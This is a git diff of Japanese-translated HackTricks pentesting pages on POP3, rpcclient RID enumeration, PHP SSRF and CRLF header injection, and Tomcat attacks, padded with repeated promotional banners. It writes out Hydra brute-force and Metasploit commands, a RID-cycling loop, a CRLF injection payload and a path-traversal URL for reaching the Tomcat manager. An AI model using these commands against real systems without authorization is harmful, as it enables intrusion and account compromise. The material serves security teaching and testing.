* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,19 +4,27 @@
|
|||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングテクニックを共有するためにPRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
**ポストオフィスプロトコル(POP)**は、コンピューターネットワーキングとインターネットの領域内で説明されるプロトコルで、リモートメールサーバーからの電子メールの取り出しと**取得**に使用され、これによりローカルデバイスでアクセスできるようになります。 OSIモデルのアプリケーション層に配置されているこのプロトコルは、ユーザーが電子メールを取得して受信することを可能にします。 **POPクライアント**の動作は通常、メールサーバーに接続し、すべてのメッセージをダウンロードし、これらのメッセージをクライアントシステムにローカルに保存し、その後サーバーから削除することを含みます。 このプロトコルには3つのイテレーションがありますが、**POP3**が最も一般的に使用されるバージョンとして際立っています。
|
||||
**ポストオフィスプロトコル(POP)**は、コンピューターネットワーキングとインターネットの領域内で説明されるプロトコルで、**リモートメールサーバーからの電子メールの取り出しと取得**に使用され、これによりローカルデバイスでアクセスできるようになります。 OSIモデルのアプリケーション層に配置されているこのプロトコルは、ユーザーが電子メールを取得して受信できるようにします。 **POPクライアント**の動作は通常、メールサーバーに接続し、すべてのメッセージをダウンロードし、これらのメッセージをクライアントシステムにローカルに保存し、その後サーバーから削除することを含みます。 このプロトコルには3つのイテレーションがありますが、**POP3**が最も一般的に使用されるバージョンとして際立っています。
|
||||
|
||||
**デフォルトポート:** 110、995(SSL)
|
||||
**デフォルトポート:** 110、995(ssl)
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
110/tcp open pop3
|
||||
|
@ -32,17 +40,17 @@ openssl s_client -connect <IP>:995 -crlf -quiet
|
|||
|
||||
POP3サーバーの機能を取得するために`CAPA`コマンドを使用できます。
|
||||
|
||||
## 自動化
|
||||
## 自動
|
||||
```bash
|
||||
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
|
||||
```
|
||||
`pop3-ntlm-info`プラグインはいくつかの "**sensitive**" データ (Windows versions) を返します。
|
||||
`pop3-ntlm-info`プラグインはいくつかの "**sensitive**" データ(Windows バージョン)を返します。
|
||||
|
||||
### [POP3 ブルートフォース](../generic-methodologies-and-resources/brute-force.md#pop)
|
||||
|
||||
## POP 構文
|
||||
|
||||
[こちら](http://sunnyoasis.com/services/emailviatelnet.html) からの POP コマンドの例
|
||||
[こちら](http://sunnyoasis.com/services/emailviatelnet.html)からの POP コマンドの例
|
||||
```bash
|
||||
POP commands:
|
||||
USER uid Log in as "uid"
|
||||
|
@ -58,19 +66,7 @@ CAPA Get capabilities
|
|||
```
|
||||
### Post Office Protocol (POP)
|
||||
|
||||
POP is a protocol used by email clients to retrieve emails from a mail server. During a penetration test, you can attempt to brute force POP accounts, sniff POP traffic for credentials, or exploit vulnerabilities in the POP server software.
|
||||
|
||||
### Testing for Weak Credentials
|
||||
|
||||
You can use tools like Hydra or Medusa to perform brute force attacks against POP accounts. These tools allow you to automate the process of trying different username and password combinations until the correct one is found.
|
||||
|
||||
### Sniffing POP Traffic
|
||||
|
||||
Tools like Wireshark can be used to capture POP traffic on the network. By analyzing the captured packets, you may be able to extract credentials being sent in plaintext, allowing you to gain unauthorized access to email accounts.
|
||||
|
||||
### Exploiting POP Server Vulnerabilities
|
||||
|
||||
Vulnerabilities in the POP server software can be exploited to gain unauthorized access to the server or compromise email accounts. You can use tools like Metasploit to search for and exploit known vulnerabilities in POP server software.
|
||||
POP is a protocol used by email clients to retrieve emails from a mail server. During a penetration test, you can attempt to brute force POP credentials, conduct user enumeration, or even capture credentials by sniffing POP traffic. Additionally, you can look for misconfigurations that may lead to unauthorized access to POP accounts.
|
||||
```
|
||||
root@kali:~# telnet $ip 110
|
||||
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
|
||||
|
@ -104,8 +100,14 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
|
|||
| `auth_debug` | すべての認証デバッグログを有効にします。 |
|
||||
| `auth_debug_passwords` | この設定はログの詳細度を調整し、送信されたパスワードとスキームが記録されます。 |
|
||||
| `auth_verbose` | 認証に失敗した試行とその理由が記録されます。 |
|
||||
| `auth_verbose_passwords` | 認証に使用されるパスワードが記録され、切り捨てられることもあります。 |
|
||||
| `auth_anonymous_username` | これは ANONYMOUS SASL メカニズムを使用してログインする際に使用されるユーザー名を指定します。 |
|
||||
| `auth_verbose_passwords` | 認証に使用されたパスワードが記録され、切り捨てられることもあります。 |
|
||||
| `auth_anonymous_username` | ANONYMOUS SASL メカニズムを使用してログインする際に使用するユーザー名を指定します。 |
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
@ -153,10 +155,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
|
|||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,31 +2,37 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加**または[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
### **RIDとは**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### 相対識別子(RID)とセキュリティ識別子(SID)の概要
|
||||
|
||||
**相対識別子(RID)**と**セキュリティ識別子(SID)**は、ネットワークドメイン内のユーザーやグループなどのオブジェクトを一意に識別および管理するためのWindowsオペレーティングシステムの主要なコンポーネントです。
|
||||
**相対識別子(RID)**と**セキュリティ識別子(SID)**は、Windowsオペレーティングシステムにおいて、ネットワークドメイン内のユーザーやグループなどのオブジェクトを一意に識別および管理するための重要なコンポーネントです。
|
||||
|
||||
- **SIDs**は、各ドメインが区別可能であることを保証するための一意の識別子として機能します。
|
||||
- **RIDs**は、これらのドメイン内のオブジェクトの一意の識別子を作成するためにSIDsに追加されます。この組み合わせにより、オブジェクトの権限とアクセス制御を正確に追跡および管理できます。
|
||||
|
||||
たとえば、ユーザー名が`pepe`の場合、そのユニークな識別子は、ドメインのSIDと彼の特定のRIDを組み合わせたもので、16進数(`0x457`)および10進数(`1111`)の形式で表されます。これにより、pepeのドメイン内での完全かつ一意の識別子が次のようになります:`S-1-5-21-1074507654-1937615267-42093643874-1111`。
|
||||
たとえば、ユーザー名が`pepe`の場合、そのユニークな識別子は、ドメインのSIDと彼の特定のRIDを組み合わせたもので、16進数(`0x457`)および10進数(`1111`)の形式で表されます。これにより、pepeのドメイン内での完全かつ一意の識別子が次のように生成されます:`S-1-5-21-1074507654-1937615267-42093643874-1111`。
|
||||
|
||||
|
||||
### **rpcclientを使用した列挙**
|
||||
|
||||
Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイント**とやり取りするために使用されます。**SMBセッションが確立された後**、しばしば資格情報が必要となります。
|
||||
Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイント**とやり取りするために使用されます。**SMBセッションが確立された後**に、しばしば資格情報が必要となります。
|
||||
|
||||
#### サーバー情報
|
||||
|
||||
|
@ -34,11 +40,11 @@ Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介
|
|||
|
||||
#### ユーザーの列挙
|
||||
|
||||
* **ユーザーをリストアップ**するには、`querydispinfo`および`enumdomusers`を使用します。
|
||||
* **ユーザーの詳細**は、`queryuser <0xrid>`で取得します。
|
||||
* **ユーザーのグループ**は、`queryusergroups <0xrid>`で取得します。
|
||||
* **ユーザーのSID**は、`lookupnames <username>`を使用して取得します。
|
||||
* **ユーザーのエイリアス**は、`queryuseraliases [builtin|domain] <sid>`で取得します。
|
||||
* **ユーザーをリストアップ**するには:`querydispinfo`および`enumdomusers`を使用します。
|
||||
* **ユーザーの詳細**は:`queryuser <0xrid>`で取得します。
|
||||
* **ユーザーのグループ**は:`queryusergroups <0xrid>`で取得します。
|
||||
* **ユーザーのSID**は:`lookupnames <username>`を使用して取得します。
|
||||
* **ユーザーのエイリアス**は:`queryuseraliases [builtin|domain] <sid>`で取得します。
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
|
@ -71,9 +77,9 @@ done
|
|||
|
||||
#### SIDを使用した追加操作
|
||||
|
||||
* **名前からSIDへの変換**:`lookupnames <username>`を使用。
|
||||
* **さらなるSID**:`lsaenumsid`を介して。
|
||||
* **RIDサイクリングによるさらなるSIDの確認**:`lookupsids <sid>`によって実行。
|
||||
* **名前によるSID**:`lookupnames <username>`を使用。
|
||||
* **さらなるSID**:`lsaenumsid`による。
|
||||
* **RIDサイクリングによるさらなるSIDの確認**:`lookupsids <sid>`による。
|
||||
|
||||
#### **追加コマンド**
|
||||
|
||||
|
@ -86,11 +92,29 @@ done
|
|||
| enumdomgroups | ドメイングループの列挙 | |
|
||||
| createdomuser | ドメインユーザーの作成 | |
|
||||
| deletedomuser | ドメインユーザーの削除 | |
|
||||
| lookupnames | LSARPC | ユーザー名をSID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8)値に変換する |
|
||||
| lookupsids | SIDをユーザー名に変換する(RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)サイクリング) | |
|
||||
| lsaaddacctrights | ユーザーアカウントに権限を追加 | |
|
||||
| lsaremoveacctrights | ユーザーアカウントから権限を削除 | |
|
||||
| lookupnames | LSARPC | SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8)値へのユーザー名の検索 |
|
||||
| lookupsids | SIDからユーザー名への検索(RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)サイクリング) | |
|
||||
| lsaaddacctrights | ユーザーアカウントへの権限の追加 | |
|
||||
| lsaremoveacctrights | ユーザーアカウントから権限の削除 | |
|
||||
| dsroledominfo | LSARPC-DS | プライマリドメイン情報の取得 |
|
||||
| dsenumdomtrusts | ADフォレスト内の信頼されたドメインの列挙 | |
|
||||
|
||||
**_samrdump_** **および** **_rpcdump_** の動作を理解するには、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を参照してください。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>でゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)および[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,19 +4,27 @@
|
|||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。**
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@carlospolopm**をフォローしてください**.**
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
### SSRF PHP 関数
|
||||
**Try Hard Security Group**
|
||||
|
||||
**file\_get\_contents()、fopen()、file()、md5\_file()** などのいくつかの関数は、URLを入力として受け入れ、**使用者がデータを制御できる場合には** **SSRF脆弱性が発生する可能性** があります。
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### SSRF PHP関数
|
||||
|
||||
**file\_get\_contents()、fopen()、file()、md5\_file()**などの一部の関数は、URLを入力として受け入れ、**使用者がデータを制御できる場合には**、それに従って**SSRF脆弱性が発生する可能性があります**。
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
|
@ -25,7 +33,7 @@ md5_file("http://127.0.0.1:8081");
|
|||
```
|
||||
### CRLF
|
||||
|
||||
さらに、一部のケースでは、前述の関数における CRLF "脆弱性" を介して任意のヘッダーを送信することさえ可能になるかもしれません。
|
||||
さらに、いくつかのケースでは、前述の関数におけるCRLF "脆弱性"を介して任意のヘッダーを送信することさえ可能かもしれません。
|
||||
```php
|
||||
# The following will create a header called from with value Hi and
|
||||
# an extra header "Injected: I HAVE IT"
|
||||
|
@ -60,16 +68,23 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,14 +4,22 @@
|
|||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Discovery
|
||||
|
||||
* 通常は**ポート8080**で実行されます
|
||||
|
@ -23,7 +31,7 @@
|
|||
|
||||
### **バージョン識別**
|
||||
|
||||
Apache Tomcatのバージョンを見つけるには、次の単純なコマンドを実行できます:
|
||||
Apache Tomcatのバージョンを見つけるには、次の単純なコマンドを実行できます:
|
||||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
|
@ -33,7 +41,7 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
|||
|
||||
### **ユーザー名の列挙**
|
||||
|
||||
Tomcatのバージョンが6より古い場合、次の方法でユーザー名を列挙することが可能です:
|
||||
Tomcat バージョンが6より古い場合、次の方法でユーザー名を列挙することが可能です:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
|
@ -52,7 +60,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
別の注目すべきディレクトリは**`/manager/status`**であり、TomcatおよびOSバージョンを表示し、脆弱性の特定を支援します。
|
||||
別の注目すべきディレクトリは**`/manager/status`**で、TomcatとOSのバージョンを表示し、脆弱性の特定を支援します。
|
||||
|
||||
### **ブルートフォース攻撃**
|
||||
|
||||
|
@ -64,19 +72,19 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
|
|||
|
||||
### **一般的な脆弱性**
|
||||
|
||||
### **パスワードバックトレースの開示**
|
||||
### **パスワードバックトレースの漏洩**
|
||||
|
||||
`/auth.jsp` にアクセスすると、幸運な状況下でバックトレースにパスワードが表示される可能性があります。
|
||||
|
||||
### **ダブルURLエンコーディング**
|
||||
|
||||
`mod_jk` の CVE-2007-1860 脆弱性により、ダブルURLエンコーディングパストラバーサルが可能となり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能となります。
|
||||
`mod_jk` の CVE-2007-1860 脆弱性により、ダブルURLエンコーディングパス遍歴が可能となり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能となります。
|
||||
|
||||
Tomcatの管理ウェブにアクセスするには、`pathTomcat/%252E%252E/manager/html` に移動します。
|
||||
|
||||
### /examples
|
||||
|
||||
Apache Tomcat バージョン 4.x から 7.x には、情報開示やクロスサイトスクリプティング(XSS)攻撃に対して脆弱なサンプルスクリプトが含まれています。これらのスクリプトは、権限なしでのアクセスや潜在的な悪用をチェックする必要があります。[詳細はこちら](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
